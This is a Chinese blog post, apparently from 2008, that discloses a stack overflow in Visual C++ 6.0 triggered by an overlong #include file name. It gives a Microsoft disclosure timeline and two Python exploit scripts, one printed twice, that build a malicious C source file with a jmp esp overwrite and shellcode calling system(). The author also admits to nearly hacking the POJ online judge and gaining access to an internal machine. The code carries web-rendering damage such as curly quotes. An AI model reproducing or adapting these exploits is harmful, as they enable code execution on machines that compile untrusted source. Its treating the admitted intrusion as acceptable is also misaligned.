生活的天平本不平衡,只有通过努力改变其偏向。

vc6.0栈溢出

2008-06-17

憋了半年了。
问题处在include的文件名长度未检测。
比如
#include “AAAA….AA”(超多A)
就会挂。

<=2008-2-17 发现漏洞。
2008-3-3 报告给MS,当天收到答复,说正在研究中。
2008-3-4 MS确认这是一个安全缺陷,但说Visual C++ 6.0的产品支持生命周期已经于2005年9月30日结束,因此不会为这个漏
洞发布安全公告或安全建议,且建议我不要公开。

我差点利用这个漏洞黑了poj(acm.pku.edu.cn,做acm的同学应该都知道这个网站)。
可惜功亏一篑,只得到了一台没有价值的内网机器,最后和管理员摊牌了。

vc6_exp.py
######################################################################

vc6_exp.py代码
  1. #!/usr/bin/env python
  2. # vc6 exploit by cly
  3. # 2008-2-17
  4. import struct
  5. address_jmp_esp = 0×1065AEB3
  6. address_system = 0×77BF93C7
  7. address_exit = 0×77C09E7E
  8. filename = ‘e.c’
  9. cmd = ‘calc’
  10. f = open(filename, ‘wb’)
  11. f.write(’#include “c:\\A’ + cmd + ‘||’ + ‘A’ * (146 - len(cmd))
  12. + struct.pack(’<i’, address_jmp_esp)
  13. + ‘\x83\xEC\x33\x83\xEC\x65\x8B\xC4\x83\xEC
  14. \x04\x89\x04\x24\xE8′
  15. + struct.pack(’<i’, address_system - 0×0012F0AF) + ‘\xE8′
  16. + struct.pack(’<i’, address_exit - 0×0012F0B4) + ‘A’ * 84 +
  17. ‘”‘)
  18. f.close()
Python代码
  1. #!/usr/bin/env python
  2. # vc6 exploit by cly
  3. # 2008-2-17
  4. import struct
  5. address_jmp_esp = 0×1065AEB3
  6. address_system = 0×77BF93C7
  7. address_exit = 0×77C09E7E
  8. filename = ‘e.c’
  9. cmd = ‘calc’
  10. f = open(filename, ‘wb’)
  11. f.write(’#include “c:\\A’ + cmd + ‘||’ + ‘A’ * (146 - len(cmd))
  12. + struct.pack(’<i’, address_jmp_esp)
  13. + ‘\x83\xEC\x33\x83\xEC\x65\x8B\xC4\x83\xEC
  14. \x04\x89\x04\x24\xE8′
  15. + struct.pack(’<i’, address_system - 0×0012F0AF) + ‘\xE8′
  16. + struct.pack(’<i’, address_exit - 0×0012F0B4) + ‘A’ * 84 +
  17. ‘”‘)
  18. f.close()

######################################################################

vc6_exp2.py
######################################################################

vc6_exp2.py代码
  1. #!/usr/bin/env python
  2. # vc6 exploit by cly
  3. # 2008-2-17
  4. import struct
  5. filename = ‘e.c’
  6. cmd = ‘calc’
  7. address_data = 0×1066EFFB
  8. shellcode = ‘\x32\xC0′ # xor al, al
  9. shellcode += ‘\xA2\x9E\xF0\x66\x10′ # mov [1066F09E], al
  10. shellcode += ‘\xA2\xA5\xF0\x66\x10′ # mov [1066F0A5], al
  11. shellcode += ‘\x68\x94\xf0\x66\x10′ # push 1066F094 ; ASCII
  12. “msvcrt.dll”
  13. shellcode += ‘\xFF\x15\xD8\x31\x65\x10′ # call [106531D8] ;
  14. kernel32.GetModuleHandleA
  15. shellcode += ‘\x68\x9F\xF0\x66\x10′ # push 1066F09F ; ASCII
  16. “system”
  17. shellcode += ‘\x50′ # push eax
  18. shellcode += ‘\xFF\x15\xDC\x31\x65\x10′ # call [106531DC] ;
  19. kernel32.GetProcAddress
  20. shellcode += ‘\x68\xA6\xF0\x66\x10′ # push 1066F0A6 ; ASCII
  21. cmd
  22. shellcode += ‘\xFF\xD0′ # call eax
  23. shellcode += ‘\x32\xC0′ # xor al, al
  24. shellcode += ‘\x50′ # push eax
  25. shellcode += ‘\xFF\x15\xB8\x31\x65\x10′ # call [106531B8] ;
  26. kernel32.ExitProcess
  27. f = open(filename, ‘wb’)
  28. f.write(’#include “c:\\’ + shellcode + ‘A’ * (149 - len(shellcode))
  29. + struct.pack(’<i’, address_data) + ‘msvcrt.dllAsystemA’
  30. + cmd + ‘ ‘ * (90 - len(cmd)) + ‘”‘)
  31. f.close()

##########################################################

作者:lonkil | 分类目录:本站杂谈 | 标签:

发表评论

电子邮件地址不会被公开。 必填项已用 * 标注

*

您可以使用这些 HTML 标签和属性: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>